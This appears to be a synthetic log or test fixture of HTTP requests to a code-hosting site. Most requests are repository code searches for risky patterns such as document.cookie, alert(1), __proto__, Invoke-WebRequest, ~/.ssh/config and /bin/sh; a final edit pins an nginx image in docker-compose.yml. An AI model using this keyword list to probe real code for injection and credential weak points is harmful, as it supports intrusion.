+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=LIKE%20%27%25foo%25%27&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=onClick%3D%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=powershell&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=install-script.sh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/tag/v1.0?path=&q=release%20notes&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/feat/docker-support?path=&q=%2Fbin%2Fsh&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/codemirror-----------------.850d6e6e.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/codemirror.f4be46b8.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/avatars/c160f8cc69a4f0bf2b0362752353d060?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/----------------.de1a9813.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-yaml_dist_index_js.4f1c0b18.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 278", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=bbe5223a9a4f84e7c3d7206f4bdd062239e8309b&page_has_posted=&tree_path=docker-compose.yml&content=services%3A%0D%0A++web%3A%0D%0A++++image%3A+nginx%3A1.27%0D%0A&commit_summary=Pin+nginx&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
+{"method": "GET", "target": "/alice/tools/src/branch/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
+{"method": "GET", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
